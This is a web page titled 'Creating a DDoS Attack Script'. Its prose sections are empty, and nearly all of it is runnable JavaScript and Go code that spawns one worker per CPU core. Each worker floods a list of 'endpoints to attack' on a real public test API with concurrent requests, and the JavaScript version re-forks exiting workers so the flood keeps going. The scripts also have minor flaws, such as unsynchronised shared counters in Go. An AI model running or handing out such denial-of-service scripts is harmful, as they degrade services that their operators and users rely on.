Skip to content

Creating a DDoS Attack Script

Introduction

Algorithm

Conclusion

Script Example in Javascript

import cluster from "cluster";
import os from "os";
import fs from "fs";

const numWorkers = os.cpus().length;

const listEndpointsToAttack = [
	"https://jsonplaceholder.typicode.com/users/1",
	"https://jsonplaceholder.typicode.com/users/2",
	"https://jsonplaceholder.typicode.com/users/3",
	"https://jsonplaceholder.typicode.com/posts/1",
	"https://jsonplaceholder.typicode.com/posts/2",
	"https://jsonplaceholder.typicode.com/posts/3",
	"https://jsonplaceholder.typicode.com/comments/1",
	"https://jsonplaceholder.typicode.com/comments/2",
	"https://jsonplaceholder.typicode.com/comments/3",
	"https://jsonplaceholder.typicode.com/todos/1",
	"https://jsonplaceholder.typicode.com/todos/2",
	"https://jsonplaceholder.typicode.com/todos/3",
];

const writeStatisticsToFile = (pid, data) => {
	try {
		fs.writeFileSync(
			`./responses-javascript/responses-from-worker-id-${pid}.json`,
			JSON.stringify(data, null, 4),
			"utf8"
		);
	} catch (error) {
		console.error("An error has occurred while writing to file:", error);
	}
};

if (cluster.isPrimary) {
	console.log(`Master cluster setting up ${numWorkers} workers...`);

	for (let i = 0; i < numWorkers; i++) {
		cluster.fork();
	}

	cluster.on("online", worker => {
		console.log(`Worker ${worker.process.pid} is online`);
	});

	cluster.on("exit", (worker, code, signal) => {
		console.log(
			`Worker ${worker.process.pid} died with code: ${code}, and signal: ${signal}. Starting a new worker...`
		);
		cluster.fork();
	});
} else {
	const workerJobStatistics = {
		worker_id: process.pid,
		worker_execution_time: null,
		total_requests_made: 0,
		total_requests_timeout: 0,
		total_requests_http_status_code_200: 0,
		total_requests_fail: 0,
		responses: [],
	};

	const processRequest = (url, statistics) => {
		const request = {
			endpoint: url,
			http_status_code_response: null,
			response: null,
		};
		return fetch(url)
			.then(response => {
				statistics.total_requests_made += 1;
				if (response.status === 200) {
					statistics.total_requests_http_status_code_200 += 1;
					request.http_status_code_response = response.status;
					request.endpoint = response.url;
				}
				return response.json();
			})
			.then(response => {
				request.response = response;
				statistics.responses.push(request);
				console.log(response);
				writeStatisticsToFile(process.pid, statistics);
			})
			.catch(error => {
				statistics.total_requests_fail += 1;
				console.error(`Error processing ${url}:`, error);
				writeStatisticsToFile(process.pid, statistics);
			});
	};

	const sendRequestsStartTime = Date.now();
	for (let i = 0; i < 20; i++) {
		listEndpointsToAttack.forEach(url => {
			processRequest(url, workerJobStatistics);
		});
	}
	const sendRequestsEndTime = Date.now();
	const sendRequestsTime = (sendRequestsEndTime - sendRequestsStartTime) / 1000;
	workerJobStatistics.worker_execution_time = `${sendRequestsTime} seconds`;

	console.log(
		`Worker ${process.pid} sent all requests in ${sendRequestsTime} seconds`
	);

	writeStatisticsToFile(process.pid, workerJobStatistics);
}

Script Example in Go

package main

import (
	"encoding/json"
	"fmt"
	"io"
	"log"
	"net/http"
	"os"
	"runtime"
	"sync"
	"time"
)

var listEndpointsToAttack = []string{
	"https://jsonplaceholder.typicode.com/users/1",
	"https://jsonplaceholder.typicode.com/users/2",
	"https://jsonplaceholder.typicode.com/users/3",
	"https://jsonplaceholder.typicode.com/posts/1",
	"https://jsonplaceholder.typicode.com/posts/2",
	"https://jsonplaceholder.typicode.com/posts/3",
	"https://jsonplaceholder.typicode.com/comments/1",
	"https://jsonplaceholder.typicode.com/comments/2",
	"https://jsonplaceholder.typicode.com/comments/3",
	"https://jsonplaceholder.typicode.com/todos/1",
	"https://jsonplaceholder.typicode.com/todos/2",
	"https://jsonplaceholder.typicode.com/todos/3",
}

type Request struct {
	Endpoint               string      `json:"endpoint"`
	HTTPStatusCodeResponse int         `json:"http_status_code_response"`
	Response               interface{} `json:"response"`
}

type WorkerJobStatistics struct {
	WorkerID                       int       `json:"worker_id"`
	WorkerExecutionTime            string    `json:"worker_execution_time"`
	TotalRequestsMade              int       `json:"total_requests_made"`
	TotalRequestsTimeout           int       `json:"total_requests_timeout"`
	TotalRequestsHTTPStatusCode200 int       `json:"total_requests_http_status_code_200"`
	TotalRequestsFail              int       `json:"total_requests_fail"`
	Responses                      []Request `json:"responses"`
}

func worker(id int, wg *sync.WaitGroup, sem chan struct{}) {
	defer wg.Done()

	start := time.Now()
	fmt.Printf("Worker ID: %d is online\n", id)

	totalRequestsMade := 0
	workerJobStatistics := WorkerJobStatistics{
		WorkerID: id,
	}

	var sendRequestsWaitGroup sync.WaitGroup

	sendRequestsStartTime := time.Now()

	for i := 0; i < 20; i++ {
		for _, endpoint := range listEndpointsToAttack {
			totalRequestsMade++
			sendRequestsWaitGroup.Add(1)
			go func(endpoint string) {
				defer sendRequestsWaitGroup.Done()
				sem <- struct{}{}
				processRequest(endpoint, &workerJobStatistics, id)
				<-sem
			}(endpoint)
		}
	}

	sendRequestsWaitGroup.Wait()
	sendRequestsEndTime := time.Now()
	sendRequestsTime := sendRequestsEndTime.Sub(sendRequestsStartTime).Seconds()

	fmt.Printf("Worker %d sent all requests in %.2f seconds\n", id, sendRequestsTime)

	duration := time.Since(start)
	workerJobStatistics.TotalRequestsMade = totalRequestsMade
	workerJobStatistics.WorkerExecutionTime = fmt.Sprintf("%.2f seconds", duration.Seconds())

	fmt.Printf("Worker ID: %d processed a total of: %d requests in %v\n", id, totalRequestsMade, duration)

	writeFile(fmt.Sprintf("./responses-golang/responses-from-worker-id-%d.json", id), workerJobStatistics)
}

func processRequest(endpoint string, stats *WorkerJobStatistics, workerID int) {
	request := Request{
		Endpoint: endpoint,
	}

	resp, err := http.Get(endpoint)
	if err != nil {
		stats.TotalRequestsTimeout++
		log.Printf("Error fetching URL %s: %v", endpoint, err)
		return
	}
	defer resp.Body.Close()

	request.HTTPStatusCodeResponse = resp.StatusCode
	if resp.StatusCode == 200 {
		stats.TotalRequestsHTTPStatusCode200++
	}

	body, err := io.ReadAll(resp.Body)
	if err != nil {
		stats.TotalRequestsFail++
		log.Printf("Error reading response body: %v", err)
		return
	}

	err = json.Unmarshal(body, &request.Response)
	if err != nil {
		stats.TotalRequestsFail++
		log.Printf("Error unmarshalling response: %v", err)
		return
	}

	stats.Responses = append(stats.Responses, request)

	responseJSON, err := json.MarshalIndent(request.Response, "", "  ")
	if err != nil {
		log.Printf("Error marshalling response to JSON: %v", err)
	} else {
		fmt.Println(string(responseJSON))
	}

	writeFile(fmt.Sprintf("./responses/responses-from-worker-id-%d.json", workerID), *stats)
}

func writeFile(filename string, data interface{}) error {
	file, err := json.MarshalIndent(data, "", "  ")
	if err != nil {
		return err
	}

	err = os.WriteFile(filename, file, 0644)
	if err != nil {
		return err
	}

	return nil
}

func main() {
	numWorkers := runtime.NumCPU()
	var wg sync.WaitGroup

	sem := make(chan struct{}, numWorkers*5)

	fmt.Printf("Master cluster setting up %d workers...\n", numWorkers)

	for i := 0; i < numWorkers; i++ {
		wg.Add(1)
		go worker(i, &wg, sem)
	}

	wg.Wait()
}